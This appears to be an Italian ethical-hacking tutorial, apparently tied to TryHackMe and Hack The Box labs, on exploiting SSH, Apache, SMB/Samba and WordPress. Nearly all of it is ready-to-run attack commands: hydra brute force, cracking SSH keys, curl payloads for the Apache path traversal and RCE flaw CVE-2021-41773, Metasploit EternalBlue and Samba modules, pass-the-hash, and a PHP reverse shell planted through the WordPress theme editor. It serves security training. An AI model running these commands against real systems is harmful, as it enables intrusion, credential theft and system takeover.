Exploitare i servizi (SSH · Apache · SMB/Samba · WordPress)
Come lavora davvero un hacker: da "porta aperta" a "shell/root". Il flusso versione → vulnerabilità → exploit, applicato ai servizi più comuni.
Come capisci se una macchina è vulnerabile?
Non si "indovina": si segue un metodo. Tre modi, dal più affidabile:
1) Versione del servizio → CVE → exploit
Trovi la versione esatta (con Nmap -sV), poi cerchi exploit noti per quella versione:
nmap -sV -p- 10.10.123.45
# es. output: "vsftpd 2.3.4" o "Apache httpd 2.4.49"
# cerca exploit offline (Exploit-DB)
searchsploit apache 2.4.49
searchsploit vsftpd 2.3.4
# cerca online: exploit-db.com, cvedetails.com, o Google "<software> <versione> exploit/CVE"
2) Scanner di vulnerabilità
# script "vuln" di Nmap: testa vulnerabilità note
nmap --script vuln -p 445,80 10.10.123.45
# nuclei: migliaia di template per falle web note
nuclei -u http://10.10.123.45
# scanner completi (rumorosi): Nessus, OpenVAS
3) Testare a mano il comportamento
Login anonimi, default credentials, parametri manipolabili, pagine di errore verbose. Spesso la "vulnerabilità" è una misconfigurazione, non una CVE.
SSH (porta 22)
SSH di solito è robusto: raramente c'è un RCE diretto. Le strade reali sono credenziali e chiavi.
# 1) versione dal banner (per cercare CVE)
nc 10.10.123.45 22 # es. "SSH-2.0-OpenSSH_8.2p1"
# 2) enumerazione utenti (alcune versioni: CVE-2018-15473)
searchsploit openssh username
# 3) brute force / password spray (se hai una lista utenti)
hydra -L utenti.txt -P /usr/share/wordlists/rockyou.txt ssh://10.10.123.45
# 4) chiave privata trovata (in una share/web/backup)
chmod 600 id_rsa
ssh -i id_rsa utente@10.10.123.45
# se la chiave ha passphrase: craccala
ssh2john id_rsa > h.txt && john --wordlist=rockyou.txt h.txt
- CVE storica notevole: libssh auth bypass (CVE-2018-10933) — non OpenSSH ma libssh lato server.
- Riuso chiavi: una
id_rsatrovata su un host spesso apre altri host.
Apache / web server (80/443)
Qui il web server o l'applicazione che ospita sono la via. Due livelli:
A) Vulnerabilità di Apache stesso (dalla versione)
# Apache 2.4.49 → path traversal + RCE (CVE-2021-41773)
curl --path-as-is "http://10.10.123.45/cgi-bin/.%2e/.%2e/.%2e/etc/passwd"
# se mod_cgi è attivo → RCE:
curl --path-as-is -d "echo;id" "http://10.10.123.45/cgi-bin/.%2e/.%2e/bin/sh"
# 2.4.50 → bypass del fix (CVE-2021-42013). Altre: mod_status, .htaccess esposti
B) L'applicazione ospitata
# scopri contenuti nascosti e tecnologie
gobuster dir -u http://10.10.123.45 -w /usr/share/wordlists/dirb/common.txt -x php,txt
whatweb http://10.10.123.45
# da qui → SQLi / LFI / upload / command injection
Vedi SQLi, LFI/RCE/Upload. Trovato un CMS (WordPress/Joomla/Drupal)? vai alla sezione dedicata.
THMRootMeFacileWeb Apache → upload shell PHP → privesc SUID. Classico end-to-end.SMB / Samba → root
SMB (445) è una miniera. Due scenari diversi: Windows e Samba (Linux).
1) Enumerazione (sempre)
smbclient -L //10.10.123.45/ -N # share anonime
enum4linux -a 10.10.123.45 # utenti, share, os, versione
nmap -p445 --script smb-vuln* 10.10.123.45
2) Windows: EternalBlue (MS17-010) → SYSTEM
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.123.45 ; set LHOST tun0
exploit # → shell come NT AUTHORITY\SYSTEM (root di Windows)
3) Samba (Linux): SambaCry (CVE-2017-7494) → root
# Samba 3.5.0–4.x con share scrivibile: RCE come root
use exploit/linux/samba/is_known_pipename
set RHOSTS 10.10.123.45 ; exploit
# altra classica: usermap_script (Samba 3.0.20) → root
use exploit/multi/samba/usermap_script
4) Con credenziali/hash → esecuzione come admin
psexec.py Administrator@10.10.123.45 # password
psexec.py -hashes :<hash_ntlm> Administrator@10.10.123.45 # pass-the-hash
nxc smb 10.10.123.45 -u user -p pass --shares
Le share spesso contengono password/chiavi/backup → riusale per SSH o WinRM. Approfondimenti: Active Directory, Enumeration.
THMBlueFacileEternalBlue su SMB Windows → SYSTEM. Fatta apposta per questa tecnica. HTBLameFacile · retiredSamba usermap_script → root diretto (serve VIP).WordPress → reverse shell
WordPress è ovunque ed è pieno di strade. Flusso tipico:
1) Enumerazione con wpscan
# utenti, plugin/temi vulnerabili, versione
wpscan --url http://10.10.123.45 --enumerate u,vp,vt
# brute force della password di un utente trovato (es. admin)
wpscan --url http://10.10.123.45 -U admin -P /usr/share/wordlists/rockyou.txt
2a) Da admin → shell via Theme Editor (il metodo classico)
- Login su
/wp-admincon le credenziali trovate. - Appearance → Theme Editor → scegli un tema non attivo → apri
404.php. - Incolla una reverse shell PHP (da revshells.com), aggiorna il file.
- Metti in ascolto e richiama la pagina del tema:
nc -lvnp 4444
curl http://10.10.123.45/wp-content/themes/twentyfifteen/404.php
# → shell come www-data
2b) In alternativa: plugin malevolo o CVE di un plugin
# Metasploit carica un plugin backdoor con credenziali admin valide
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS 10.10.123.45 ; set USERNAME admin ; set PASSWORD trovata
set LHOST tun0 ; exploit
# molti plugin hanno CVE di upload/RCE: cerca con wpscan/searchsploit
3) Da www-data → root
Ottenuta la shell, stabilizzala e fai privilege escalation: Privesc Linux (spesso credenziali DB in wp-config.php riusate per l'utente di sistema).
Il flusso mentale (come lavorano gli hacker)
- Scan tutte le porte → lista servizi (Nmap).
- Per ogni servizio: versione → cerca CVE + enumera (utenti, share, path).
- Foothold: exploit pubblico, credenziali deboli, o falla web → prima shell (di solito utente basso, www-data).
- Stabilizza la shell + raccogli info locali (Linux).
- Privilege escalation → root/SYSTEM (Linux / Windows).
- Post-exploitation: credenziali, pivoting verso altre macchine, loot.
- Documenta tutto (screenshot, comandi, impatto).